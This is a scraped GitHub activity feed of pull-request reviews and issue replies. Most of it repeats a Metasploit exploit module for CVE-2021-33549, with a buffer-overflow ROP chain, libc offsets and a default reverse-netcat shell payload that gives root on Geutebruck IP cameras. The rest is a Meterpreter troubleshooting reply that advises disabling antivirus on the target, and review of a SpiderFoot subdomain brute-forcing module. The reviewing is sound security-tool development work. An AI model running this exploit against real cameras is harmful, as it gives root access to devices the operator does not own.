profile
viewpoint
If you are wondering where the data of this site comes from, please visit https://api.github.com/users/bcoles/events. GitMemory does not store any data, but only uses NGINX to cache data for a period of time. The idea behind GitMemory is simply to give users a better reading experience.

beefproject/beef 5850

The Browser Exploitation Framework Project

bcoles/kernel-exploits 428

Various kernel exploits

bcoles/ssrf_proxy 341

SSRF Proxy facilitates tunneling HTTP communications through servers vulnerable to Server-Side Request Forgery.

bcoles/kasld 143

[ KASLD ] Kernel Address Space Layout Derandomization - A collection of various techniques to bypass Linux Kernel Address Space Layout Randomization (KASLR) and retrieve the kernel base virtual address on x86 / x86_64 architectures as an unprivileged local user.

bcoles/local-exploits 107

Various local exploits

bcoles/jira_scan 60

A simple remote scanner for Atlassian Jira

bcoles/metasploit-logos 22

Custom Metasploit logos

bcoles/LiferayScan 17

A simple remote scanner for Liferay Portal

bcoles/serenity-exploits 11

Various exploits for SerenityOS

bcoles/sitecore_scan 7

A simple remote scanner for Sitecore CMS

PullRequestReviewEvent

Pull request review commentrapid7/metasploit-framework

Add CVE-2021-33549 exploit for Geutebruck G-CAM

+##+# This module requires Metasploit: https://metasploit.com/download+# Current source: https://github.com/rapid7/metasploit-framework+##++PAD_SIZE=536++$padding = "a" * PAD_SIZE++$libc_add = 0x402da000++$system_off = 0x00357fc+$puts_off = 0x0005bc5c+$exit_off = 0x0002d784+$sleep_off = 0x0009538c+$putchar_off = 0x005e608+++$libc_data_off = 0x12c960++$str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;                                               +$pop_r0_off = 0x00101de4 #pop r0 pc                                                                       +$pop_r1_off = 0x0010252c #pop r1 pc                                                                       +$pop_r4_off = 0x00015164 #pop r4 pc                                                                       +++$system = $libc_add + $system_off+$puts   = $libc_add + $puts_off+$exit_  = $libc_add + $exit_off+$sleep_  = $libc_add + $sleep_off+$putchar  = $libc_add + $putchar_off+++$str_r1 = $libc_add + $str_r1_off+$pop_r0 = $libc_add + $pop_r0_off+$pop_r1 = $libc_add + $pop_r1_off+$pop_r4 = $libc_add + $pop_r4_off++$add_str = $libc_data_off + $libc_add + 4+ ++class MetasploitModule < Msf::Exploit::Remote+  Rank = ExcellentRanking+  include Msf::Exploit::Remote::HttpClient+  include Msf::Exploit::CmdStager+  include Exploit::Remote::Tcp++    +  def initialize(info = {})+    super(+      update_info(+        info,+        'Name' => 'Geutebruck instantrec Remote Command Execution',+        'Description' => %q{+          This module exploits a buffer overflow within the 'action'+           parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,+          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware +          versions 1.12.13.2 and 1.12.14.5.+          Successful exploitation results in remote code execution as the root user.+        },++        'Author' => [+       'Titouan Lazard - RandoriSec', # Discovery+       'Ibrahim Ayadhi - RandoriSec', # Metasploit Module+        ],+        'License' => MSF_LICENSE,+        'References' =>+          [+            ['CVE', 'CVE-2021-33549'],+            ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],+            [ 'URL', 'http://geutebruck.com' ],+            ['URL','https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']+          ],+        'DisclosureDate' => '2021-07-08',+        'Privileged' => true,+        'Platform' => ['unix', 'linux'],+        'Arch' => [ARCH_ARMLE],+        'Targets' => [+          [ 'Automatic Target', {} ]+        ],+        'DefaultTarget' => 0,+        'DefaultOptions' =>+         {+           'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'+         }+      )+    )++    register_options(+      [+        OptString.new('TARGETURI', [true, 'The path to the instantrec page', '/../uapi-cgi/instantrec.cgi']),+      ]+    )+  end++  def write_string(string)+    rop = []+    ++    chunks = []+    i = 0+    cur = 0+    p = string.raw+' '*(4 - string.raw.length%4)+    +   +    

TrGFxX

comment created time in 5 hours

Pull request review commentrapid7/metasploit-framework

Add CVE-2021-33549 exploit for Geutebruck G-CAM

+##+# This module requires Metasploit: https://metasploit.com/download+# Current source: https://github.com/rapid7/metasploit-framework+##++PAD_SIZE=536++$padding = "a" * PAD_SIZE++$libc_add = 0x402da000++$system_off = 0x00357fc+$puts_off = 0x0005bc5c+$exit_off = 0x0002d784+$sleep_off = 0x0009538c+$putchar_off = 0x005e608+++$libc_data_off = 0x12c960++$str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;                                               +$pop_r0_off = 0x00101de4 #pop r0 pc                                                                       +$pop_r1_off = 0x0010252c #pop r1 pc                                                                       +$pop_r4_off = 0x00015164 #pop r4 pc                                                                       +++$system = $libc_add + $system_off+$puts   = $libc_add + $puts_off+$exit_  = $libc_add + $exit_off+$sleep_  = $libc_add + $sleep_off+$putchar  = $libc_add + $putchar_off+++$str_r1 = $libc_add + $str_r1_off+$pop_r0 = $libc_add + $pop_r0_off+$pop_r1 = $libc_add + $pop_r1_off+$pop_r4 = $libc_add + $pop_r4_off++$add_str = $libc_data_off + $libc_add + 4+ ++class MetasploitModule < Msf::Exploit::Remote+  Rank = ExcellentRanking+  include Msf::Exploit::Remote::HttpClient+  include Msf::Exploit::CmdStager+  include Exploit::Remote::Tcp++    +  def initialize(info = {})+    super(+      update_info(+        info,+        'Name' => 'Geutebruck instantrec Remote Command Execution',+        'Description' => %q{+          This module exploits a buffer overflow within the 'action'+           parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,+          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware +          versions 1.12.13.2 and 1.12.14.5.+          Successful exploitation results in remote code execution as the root user.+        },++        'Author' => [+       'Titouan Lazard - RandoriSec', # Discovery+       'Ibrahim Ayadhi - RandoriSec', # Metasploit Module+        ],+        'License' => MSF_LICENSE,+        'References' =>+          [+            ['CVE', 'CVE-2021-33549'],+            ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],+            [ 'URL', 'http://geutebruck.com' ],+            ['URL','https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']+          ],+        'DisclosureDate' => '2021-07-08',+        'Privileged' => true,+        'Platform' => ['unix', 'linux'],+        'Arch' => [ARCH_ARMLE],+        'Targets' => [+          [ 'Automatic Target', {} ]+        ],+        'DefaultTarget' => 0,+        'DefaultOptions' =>+         {+           'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'+         }+      )+    )++    register_options(+      [+        OptString.new('TARGETURI', [true, 'The path to the instantrec page', '/../uapi-cgi/instantrec.cgi']),+      ]+    )+  end++  def write_string(string)+    rop = []+    ++    chunks = []+    i = 0+    cur = 0+    p = string.raw+' '*(4 - string.raw.length%4)+    +   +    +    for b in p.each_byte+      if i == 4+        chunks += [cur]+        cur = 0+        i = 0+      end+      cur += b<<i*8+      i += 1+    end+    chunks += [cur]+    +    rop += [$pop_r4]+    rop += [$add_str - 0x14]+    index = 0+    for chunk in chunks+      rop += [$pop_r1]+      rop += [chunk]+      rop += [$str_r1]+      if (index != (chunks.length - 1))+        rop += [$add_str - 0x14 + ((index + 1) * 4)]+      else+        rop += [0x41414141]+      end+      index += 1+    end+    return rop+  end++  +  +  def exploit++    print_status("#{rhost}:#{rport} - Attempting to exploit...")++    connect+    +    ropchain = []+    ropchain += write_string(payload)+    ropchain += [$pop_r0]+    ropchain += [$add_str]+    ropchain += [$system]++    +    packed = ropchain.pack('V*')++    +    data = 'action='+    data << $padding+    data << packed+    uri = "/" + Rex::Text.rand_hostname + target_uri.path+    buf = 'POST '+    buf << uri+    buf << " HTTP/1.1\r\nHost: "+    buf << rhost+    buf << "\r\nContent-Length: "+    buf << data.length.to_s+    buf << "\r\n\r\n"+    buf << data+    +    sock.put(buf)

The payload is only sent within the POST data in the request body. Is there a reason not to use send_request_cgi() ? If encoding is a problem you cold opt out with 'encode_params' => false or use send_request_raw() instead.

TrGFxX

comment created time in 4 hours

Pull request review commentrapid7/metasploit-framework

Add CVE-2021-33549 exploit for Geutebruck G-CAM

+##+# This module requires Metasploit: https://metasploit.com/download+# Current source: https://github.com/rapid7/metasploit-framework+##++PAD_SIZE=536++$padding = "a" * PAD_SIZE++$libc_add = 0x402da000++$system_off = 0x00357fc+$puts_off = 0x0005bc5c+$exit_off = 0x0002d784+$sleep_off = 0x0009538c+$putchar_off = 0x005e608+++$libc_data_off = 0x12c960++$str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;                                               +$pop_r0_off = 0x00101de4 #pop r0 pc                                                                       +$pop_r1_off = 0x0010252c #pop r1 pc                                                                       +$pop_r4_off = 0x00015164 #pop r4 pc                                                                       +++$system = $libc_add + $system_off+$puts   = $libc_add + $puts_off+$exit_  = $libc_add + $exit_off+$sleep_  = $libc_add + $sleep_off+$putchar  = $libc_add + $putchar_off+++$str_r1 = $libc_add + $str_r1_off+$pop_r0 = $libc_add + $pop_r0_off+$pop_r1 = $libc_add + $pop_r1_off+$pop_r4 = $libc_add + $pop_r4_off++$add_str = $libc_data_off + $libc_add + 4+ ++class MetasploitModule < Msf::Exploit::Remote+  Rank = ExcellentRanking+  include Msf::Exploit::Remote::HttpClient+  include Msf::Exploit::CmdStager+  include Exploit::Remote::Tcp++    +  def initialize(info = {})+    super(+      update_info(+        info,+        'Name' => 'Geutebruck instantrec Remote Command Execution',+        'Description' => %q{+          This module exploits a buffer overflow within the 'action'+           parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,+          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware +          versions 1.12.13.2 and 1.12.14.5.+          Successful exploitation results in remote code execution as the root user.+        },++        'Author' => [+       'Titouan Lazard - RandoriSec', # Discovery+       'Ibrahim Ayadhi - RandoriSec', # Metasploit Module
          'Titouan Lazard - RandoriSec', # Discovery
          'Ibrahim Ayadhi - RandoriSec', # Metasploit Module
TrGFxX

comment created time in 5 hours

Pull request review commentrapid7/metasploit-framework

Add CVE-2021-33549 exploit for Geutebruck G-CAM

+##+# This module requires Metasploit: https://metasploit.com/download+# Current source: https://github.com/rapid7/metasploit-framework+##++PAD_SIZE=536++$padding = "a" * PAD_SIZE++$libc_add = 0x402da000++$system_off = 0x00357fc+$puts_off = 0x0005bc5c+$exit_off = 0x0002d784+$sleep_off = 0x0009538c+$putchar_off = 0x005e608+++$libc_data_off = 0x12c960++$str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;                                               +$pop_r0_off = 0x00101de4 #pop r0 pc                                                                       +$pop_r1_off = 0x0010252c #pop r1 pc                                                                       +$pop_r4_off = 0x00015164 #pop r4 pc                                                                       +++$system = $libc_add + $system_off+$puts   = $libc_add + $puts_off+$exit_  = $libc_add + $exit_off+$sleep_  = $libc_add + $sleep_off+$putchar  = $libc_add + $putchar_off+++$str_r1 = $libc_add + $str_r1_off+$pop_r0 = $libc_add + $pop_r0_off+$pop_r1 = $libc_add + $pop_r1_off+$pop_r4 = $libc_add + $pop_r4_off++$add_str = $libc_data_off + $libc_add + 4+ ++class MetasploitModule < Msf::Exploit::Remote+  Rank = ExcellentRanking+  include Msf::Exploit::Remote::HttpClient+  include Msf::Exploit::CmdStager+  include Exploit::Remote::Tcp++    +  def initialize(info = {})+    super(+      update_info(+        info,+        'Name' => 'Geutebruck instantrec Remote Command Execution',+        'Description' => %q{+          This module exploits a buffer overflow within the 'action'+           parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,+          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware +          versions 1.12.13.2 and 1.12.14.5.+          Successful exploitation results in remote code execution as the root user.+        },++        'Author' => [+       'Titouan Lazard - RandoriSec', # Discovery+       'Ibrahim Ayadhi - RandoriSec', # Metasploit Module+        ],+        'License' => MSF_LICENSE,+        'References' =>+          [+            ['CVE', 'CVE-2021-33549'],+            ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],+            [ 'URL', 'http://geutebruck.com' ],+            ['URL','https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']+          ],+        'DisclosureDate' => '2021-07-08',+        'Privileged' => true,+        'Platform' => ['unix', 'linux'],+        'Arch' => [ARCH_ARMLE],+        'Targets' => [+          [ 'Automatic Target', {} ]+        ],+        'DefaultTarget' => 0,+        'DefaultOptions' =>+         {+           'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'+         }+      )+    )++    register_options(+      [+        OptString.new('TARGETURI', [true, 'The path to the instantrec page', '/../uapi-cgi/instantrec.cgi']),

is the traversal required? If the .. traversal sequence is important for exploitation it should be implemented/enforced within the module code, rather than in a user-configurable option.

TrGFxX

comment created time in 5 hours

Pull request review commentrapid7/metasploit-framework

Add CVE-2021-33549 exploit for Geutebruck G-CAM

+##+# This module requires Metasploit: https://metasploit.com/download+# Current source: https://github.com/rapid7/metasploit-framework+##++PAD_SIZE=536++$padding = "a" * PAD_SIZE++$libc_add = 0x402da000++$system_off = 0x00357fc+$puts_off = 0x0005bc5c+$exit_off = 0x0002d784+$sleep_off = 0x0009538c+$putchar_off = 0x005e608+++$libc_data_off = 0x12c960++$str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;                                               +$pop_r0_off = 0x00101de4 #pop r0 pc                                                                       +$pop_r1_off = 0x0010252c #pop r1 pc                                                                       +$pop_r4_off = 0x00015164 #pop r4 pc                                                                       +++$system = $libc_add + $system_off+$puts   = $libc_add + $puts_off+$exit_  = $libc_add + $exit_off+$sleep_  = $libc_add + $sleep_off+$putchar  = $libc_add + $putchar_off+++$str_r1 = $libc_add + $str_r1_off+$pop_r0 = $libc_add + $pop_r0_off+$pop_r1 = $libc_add + $pop_r1_off+$pop_r4 = $libc_add + $pop_r4_off++$add_str = $libc_data_off + $libc_add + 4

Please don't use globals.

These should be defined in a method or within a target.

If you modified write_string to return the rop chain then these cal all be moved into that method.

TrGFxX

comment created time in 5 hours

Pull request review commentrapid7/metasploit-framework

Add CVE-2021-33549 exploit for Geutebruck G-CAM

+##+# This module requires Metasploit: https://metasploit.com/download+# Current source: https://github.com/rapid7/metasploit-framework+##++PAD_SIZE=536++$padding = "a" * PAD_SIZE++$libc_add = 0x402da000++$system_off = 0x00357fc+$puts_off = 0x0005bc5c+$exit_off = 0x0002d784+$sleep_off = 0x0009538c+$putchar_off = 0x005e608+++$libc_data_off = 0x12c960++$str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;                                               +$pop_r0_off = 0x00101de4 #pop r0 pc                                                                       +$pop_r1_off = 0x0010252c #pop r1 pc                                                                       +$pop_r4_off = 0x00015164 #pop r4 pc                                                                       +++$system = $libc_add + $system_off+$puts   = $libc_add + $puts_off+$exit_  = $libc_add + $exit_off+$sleep_  = $libc_add + $sleep_off+$putchar  = $libc_add + $putchar_off+++$str_r1 = $libc_add + $str_r1_off+$pop_r0 = $libc_add + $pop_r0_off+$pop_r1 = $libc_add + $pop_r1_off+$pop_r4 = $libc_add + $pop_r4_off++$add_str = $libc_data_off + $libc_add + 4+ ++class MetasploitModule < Msf::Exploit::Remote+  Rank = ExcellentRanking+  include Msf::Exploit::Remote::HttpClient+  include Msf::Exploit::CmdStager+  include Exploit::Remote::Tcp++    +  def initialize(info = {})+    super(+      update_info(+        info,+        'Name' => 'Geutebruck instantrec Remote Command Execution',+        'Description' => %q{+          This module exploits a buffer overflow within the 'action'+           parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,+          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware +          versions 1.12.13.2 and 1.12.14.5.+          Successful exploitation results in remote code execution as the root user.+        },++        'Author' => [+       'Titouan Lazard - RandoriSec', # Discovery+       'Ibrahim Ayadhi - RandoriSec', # Metasploit Module+        ],+        'License' => MSF_LICENSE,+        'References' =>+          [+            ['CVE', 'CVE-2021-33549'],+            ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],+            [ 'URL', 'http://geutebruck.com' ],
            ['URL', 'http://geutebruck.com'],
TrGFxX

comment created time in 5 hours

PullRequestReviewEvent

issue commentrapid7/metasploit-framework

Sending stage (175174 bytes) to "my ip" [*] - Meterpreter session 6 closed. Reason: Died

Make sure I have the same payload as what [When starting the handler]?

as your payload

ZigedZaged123

comment created time in 2 days

issue commentrapid7/metasploit-framework

Sending stage (175174 bytes) to "my ip" [*] - Meterpreter session 6 closed. Reason: Died

Make sure you're using the same payload when starting the handler.

Ensure AV is disabled on the target.

If the target system is older than Windows XP SP2 then Meterpreter payloads won't work.

ZigedZaged123

comment created time in 3 days

pull request commentsmicallef/spiderfoot

Add MassDNS module

Please note that this PR adds two CLI tools (massdns and shuffledns) to the Dockerfile. The CICD tests will succeed once the Docker image is updated.

The tests won't pass once the docker file is update as the tests do not use the docker image. The tests fail as the executable is missing. This should be addressed as per https://github.com/smicallef/spiderfoot/pull/1239#discussion_r675950271.

TheTechromancer

comment created time in 4 days

Pull request review commentsmicallef/spiderfoot

Add MassDNS module

+# -*- coding: utf-8 -*-+# -------------------------------------------------------------------------------+# Name:         sfp_dnsbrute+# Purpose:      SpiderFoot plug-in for attempting to resolve through brute-forcing+#               common hostnames.+#+# Author:      Steve Micallef <steve@binarypool.com>, TheTechromancer+#+# Created:     05/19/2021+# Copyright:   (c) Steve Micallef 2021+# Licence:     GPL+# -------------------------------------------------------------------------------++import re+import json+import random+import tempfile+import subprocess+import dns.resolver+from pathlib import Path+from spiderfoot import SpiderFootEvent, SpiderFootPlugin+++class sfp_massdns(SpiderFootPlugin):++    meta = {+        'name': "MassDNS",+        'summary': "Attempts to identify hostnames through brute-forcing common names and iterations.",+        'flags': [""],+        'useCases': ["Footprint", "Investigate"],+        'categories': ["DNS"]+    }++    # Default options+    opts = {+        "domainonly": True,+        "numbermutation": True,+        "alphamutation": True,+        "large_wordlist": False,+        "concurrent_resolvers": 1000+    }++    # Option descriptions+    optdescs = {+        "domainonly": "Only brute-force subdomains for the main target (non-recursive).",+        "numbermutation": "For any host found, increment/decrement existing numbers (if any) and try appending 1, 01, 001, -1, -01, -001, 2, 02, etc. (up to 10)",+        "alphamutation": "For any host found, try common mutations such as -test, -old, etc.",+        "large_wordlist": "Use a 1.2M wordlist instead of the default 110K. Takes roughly 20 minutes at 1000 threads.",+        "concurrent_resolvers": "Maximum concurrent lookup threads. Bandwidth cost is ~1Mbps per 100 resolvers."+    }++    _ipRegex = re.compile(r"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}")++    def setup(self, sfc, userOpts=dict()):+        self.sf = sfc+        self.sf.debug("Setting up sfp_massdns")+        self.state = self.tempStorage()+        self.state.update({+            "sub_wordlist": [],+            "sent_events": [],+            "handled_events": []+        })+        self.__dataSource__ = "DNS"+        self.iteration = 0++        for opt in list(userOpts.keys()):+            self.opts[opt] = userOpts[opt]++        self.word_regex = re.compile(r'[^\d\W_]+')+        self.word_num_regex = re.compile(r'[^\W_]+')+        self.num_regex = re.compile(r'\d+')++        dicts_dir = f"{self.sf.myPath()}/spiderfoot/dicts"+        if self.opts["large_wordlist"]:+            subdomain_dict = f"{dicts_dir}/massdns-subdomains-1.2M.txt"+        else:+            subdomain_dict = f"{dicts_dir}/massdns-subdomains-110K.txt"+        with open(subdomain_dict, "r") as f:+            self.state["sub_wordlist"] = list(set([x.strip().lower() for x in f.readlines()]))+        with open(f"{dicts_dir}/subdomain-mutations.txt", "r") as f:+            if self.opts["alphamutation"]:+                self.state["alpha_mutation_wordlist"] = list(set([x.strip().lower() for x in f.readlines()]))++        # set up nameservers+        self.resolvers = self.fetchResolvers(minReliability=.99)+        self.resolvers = self.verifyNameservers(self.resolvers)+        self.sf.info(f"Using {len(self.resolvers):,} valid nameservers")++    def watchedEvents(self):+        return ["DOMAIN_NAME", "INTERNET_NAME", "INTERNET_NAME_UNRESOLVED"]++    def producedEvents(self):+        return ["INTERNET_NAME"]++    def handleEvent(self, event):+        if not self.resolvers:+            self.sf.error("No valid DNS resolvers")+            return++        host = str(event.data).lower()++        self.sf.debug(f"Received event, {event.eventType}, from {event.module}")++        # skip if we've already processed this event+        eventDataHash = self.sf.hashstring(host)+        if eventDataHash in self.state["handled_events"]:+            self.sf.debug(f"Skipping already-processed event, {event.eventType}, from {event.module}")+            return+        self.state["handled_events"].append(eventDataHash)++        subdomains = set()+        method = "brute-force"+        base = str(host)++        # if this isn't the main target, we can still do mutations+        if event.eventType in ["INTERNET_NAME", "INTERNET_NAME_UNRESOLVED"] and not self.getTarget().matches(event.data, includeChildren=False):+            if self.opts["numbermutation"]:+                numberMutations = self.getNumberMutations(host)+                self.sf.debug(f"Generated {len(numberMutations):,} number mutations of {host}")+                subdomains.update(numberMutations)+            if self.opts["alphamutation"]:+                alphaMutations = self.getAlphaMutations(host)+                self.sf.debug(f"Generated {len(alphaMutations):,} alpha mutations of {host}")+                subdomains.update(alphaMutations)+            method = "mutation"+            base = host.split(".", 1)[-1]++        # if this is the main target or we're brute-forcing subdomains of subdomains+        if self.getTarget().matches(event.data, includeChildren=False) or not self.opts["domainonly"]:+            subdomains.update(set(self.state["sub_wordlist"]))++        for subdomain in self.massdns(base, subdomains):+            self.sendEvent(event, subdomain, method)++    def massdns(self, target, subdomains, concurrentResolvers=1000):+        # 1000 concurrent resolvers ~= 12Mbps up / 12Mbps down+        resolversFile = tempfile.NamedTemporaryFile(mode='w', delete=False)+        resolversFile.write('\n'.join([r.nameservers[0] for r in self.resolvers]))+        resolversFile.close()+        subdomainsFile = tempfile.NamedTemporaryFile(mode='w', delete=False)+        subdomainsFile.write('\n'.join(subdomains))+        subdomainsFile.close()++        # shuffledns is a massdns wrapper that handles subdomains and wildcards+        shufflednsCommand = (+            "shuffledns",+            "-nC",+            "-r", resolversFile.name,+            "-w", subdomainsFile.name,+            "-silent",+            "-t", str(concurrentResolvers)+        )+        self.sf.debug(f"Running ShuffleDNS: {' '.join(shufflednsCommand)}")++        try:+            p = subprocess.Popen(shufflednsCommand, stdin=subprocess.PIPE, stdout=subprocess.PIPE)+            records = p.communicate(target.encode('utf-8'))[0].decode('utf-8', errors='ignore').splitlines()+            records = list(set(records))+        finally:+            # delete temporary files+            Path(resolversFile.name).unlink()+            Path(subdomainsFile.name).unlink()++        return self.validateHosts(records)++    def sendEvent(self, source, host, method=None):+        if method is None:+            method = ""+        host = host.lower()+        # skip if we've already sent this event+        eventDataHash = self.sf.hashstring(host)+        if eventDataHash in self.state["sent_events"]:+            self.sf.debug("Skipping already-sent event")+            return+        elif eventDataHash in self.state["handled_events"]:+            self.sf.debug("Not sending already-handled event")+            return+        self.state["sent_events"].append(eventDataHash)+        self.sf.info(f"Found subdomain via {method}: {host}")+        # Report the host+        e = SpiderFootEvent("INTERNET_NAME", host, self.__name__, source)+        self.notifyListeners(e)++    def verifyNameservers(self, nameservers, timeout=2):+        """Check each resolver to make sure it can actually resolve DNS names++        Args:+            nameservers (list): nameservers to verify+            timeout (int): timeout for dns query++        Returns:+            boolean: whether any of the nameservers are valid+        """+        validResolvers = []+        with self.threadPool(threads=100, name='sfp_massdns_verify_nameservers') as pool:+            for resolver, error in pool.map(nameservers, self.verifyNameserver):+                if not error:+                    validResolvers.append(resolver)+                else:+                    self.sf.debug(str(error))+        return validResolvers++    def verifyNameserver(self, nameserver, timeout=2):+        """Validate a nameserver by making a sample query and a garbage query++        Args:+            nameserver (str): nameserver to verify+            timeout (int): timeout for dns query++        Returns:+            boolean: whether the nameserver is valid+        """+        error = None++        resolver = dns.resolver.Resolver()+        resolver.timeout = timeout+        resolver.lifetime = timeout+        resolver.nameservers = [nameserver]++        # first, make sure it can resolve google.com+        try:+            resolver.query("www.google.com", "A")+        except Exception:+            error = f"Nameserver {nameserver} failed to resolve basic query within {timeout} seconds."++        # then, make sure it isn't feeding us garbage data+        randpool = "bcdfghjklmnpqrstvwxyz3456789"+        randhost = "".join([random.SystemRandom().choice(randpool) for x in range(10)]) + ".google.com"+        try:+            results = list(resolver.query(randhost, "A"))

This raises warnings:

test/unit/modules/test_sfp_massdns.py: 630 warnings
  /home/runner/work/spiderfoot/spiderfoot/modules/sfp_massdns.py:230: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
    results = list(resolver.query(randhost, "A"))
TheTechromancer

comment created time in 4 days

Pull request review commentsmicallef/spiderfoot

Add MassDNS module

+# test_sfp_massdns.py+import pytest+import unittest++from modules.sfp_massdns import sfp_massdns+from sflib import SpiderFoot+from spiderfoot import SpiderFootEvent, SpiderFootTarget+++@pytest.mark.usefixtures+class TestModulemassdns(unittest.TestCase):+    """+    Test modules.sfp_massdns+    """++    def test_opts(self):+        module = sfp_massdns()+        self.assertEqual(len(module.opts), len(module.optdescs))++    def test_setup(self):+        """+        Test setup(self, sfc, userOpts=dict())+        """+        sf = SpiderFoot(self.default_options)++        module = sfp_massdns()+        module.setup(sf, dict())++    def test_watchedEvents_should_return_list(self):+        module = sfp_massdns()+        self.assertIsInstance(module.watchedEvents(), list)++    def test_producedEvents_should_return_list(self):+        module = sfp_massdns()+        self.assertIsInstance(module.producedEvents(), list)++    def test_handleEvent(self):

This test doesn't test anything and should be skipped.

    @unittest.skip("todo")
    def test_handleEvent(self):

Also, once the module supports specifying a path to shuffledns, a test can be added to verify that the module fails correctly. For example:

https://github.com/smicallef/spiderfoot/blob/0a505a836ba7cd6df6a8e3b60605dcbfc757fd41/test/unit/modules/test_sfp_tool_cmseek.py#L37-L50

TheTechromancer

comment created time in 4 days

Pull request review commentsmicallef/spiderfoot

Add MassDNS module

+# -*- coding: utf-8 -*-

Modules which leverage third-party tools on the host use a sfp_tool_ prefix for the module name and file name (sfp_tool_massdns.py rather then sfp_massdns.py).

TheTechromancer

comment created time in 4 days

Pull request review commentsmicallef/spiderfoot

Add MassDNS module

+# -*- coding: utf-8 -*-+# -------------------------------------------------------------------------------+# Name:         sfp_dnsbrute+# Purpose:      SpiderFoot plug-in for attempting to resolve through brute-forcing+#               common hostnames.+#+# Author:      Steve Micallef <steve@binarypool.com>, TheTechromancer+#+# Created:     05/19/2021+# Copyright:   (c) Steve Micallef 2021+# Licence:     GPL+# -------------------------------------------------------------------------------++import re+import json+import random+import tempfile+import subprocess+import dns.resolver+from pathlib import Path+from spiderfoot import SpiderFootEvent, SpiderFootPlugin+++class sfp_massdns(SpiderFootPlugin):++    meta = {+        'name': "MassDNS",+        'summary': "Attempts to identify hostnames through brute-forcing common names and iterations.",+        'flags': [""],+        'useCases': ["Footprint", "Investigate"],+        'categories': ["DNS"]+    }++    # Default options+    opts = {+        "domainonly": True,+        "numbermutation": True,+        "alphamutation": True,+        "large_wordlist": False,+        "concurrent_resolvers": 1000+    }++    # Option descriptions+    optdescs = {+        "domainonly": "Only brute-force subdomains for the main target (non-recursive).",+        "numbermutation": "For any host found, increment/decrement existing numbers (if any) and try appending 1, 01, 001, -1, -01, -001, 2, 02, etc. (up to 10)",+        "alphamutation": "For any host found, try common mutations such as -test, -old, etc.",+        "large_wordlist": "Use a 1.2M wordlist instead of the default 110K. Takes roughly 20 minutes at 1000 threads.",+        "concurrent_resolvers": "Maximum concurrent lookup threads. Bandwidth cost is ~1Mbps per 100 resolvers."+    }++    _ipRegex = re.compile(r"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}")++    def setup(self, sfc, userOpts=dict()):+        self.sf = sfc+        self.sf.debug("Setting up sfp_massdns")+        self.state = self.tempStorage()+        self.state.update({+            "sub_wordlist": [],+            "sent_events": [],+            "handled_events": []+        })+        self.__dataSource__ = "DNS"+        self.iteration = 0++        for opt in list(userOpts.keys()):+            self.opts[opt] = userOpts[opt]++        self.word_regex = re.compile(r'[^\d\W_]+')+        self.word_num_regex = re.compile(r'[^\W_]+')+        self.num_regex = re.compile(r'\d+')++        dicts_dir = f"{self.sf.myPath()}/spiderfoot/dicts"+        if self.opts["large_wordlist"]:+            subdomain_dict = f"{dicts_dir}/massdns-subdomains-1.2M.txt"+        else:+            subdomain_dict = f"{dicts_dir}/massdns-subdomains-110K.txt"+        with open(subdomain_dict, "r") as f:+            self.state["sub_wordlist"] = list(set([x.strip().lower() for x in f.readlines()]))+        with open(f"{dicts_dir}/subdomain-mutations.txt", "r") as f:+            if self.opts["alphamutation"]:+                self.state["alpha_mutation_wordlist"] = list(set([x.strip().lower() for x in f.readlines()]))++        # set up nameservers+        self.resolvers = self.fetchResolvers(minReliability=.99)+        self.resolvers = self.verifyNameservers(self.resolvers)+        self.sf.info(f"Using {len(self.resolvers):,} valid nameservers")++    def watchedEvents(self):+        return ["DOMAIN_NAME", "INTERNET_NAME", "INTERNET_NAME_UNRESOLVED"]++    def producedEvents(self):+        return ["INTERNET_NAME"]++    def handleEvent(self, event):+        if not self.resolvers:+            self.sf.error("No valid DNS resolvers")+            return++        host = str(event.data).lower()++        self.sf.debug(f"Received event, {event.eventType}, from {event.module}")++        # skip if we've already processed this event+        eventDataHash = self.sf.hashstring(host)+        if eventDataHash in self.state["handled_events"]:+            self.sf.debug(f"Skipping already-processed event, {event.eventType}, from {event.module}")+            return+        self.state["handled_events"].append(eventDataHash)++        subdomains = set()+        method = "brute-force"+        base = str(host)++        # if this isn't the main target, we can still do mutations+        if event.eventType in ["INTERNET_NAME", "INTERNET_NAME_UNRESOLVED"] and not self.getTarget().matches(event.data, includeChildren=False):+            if self.opts["numbermutation"]:+                numberMutations = self.getNumberMutations(host)+                self.sf.debug(f"Generated {len(numberMutations):,} number mutations of {host}")+                subdomains.update(numberMutations)+            if 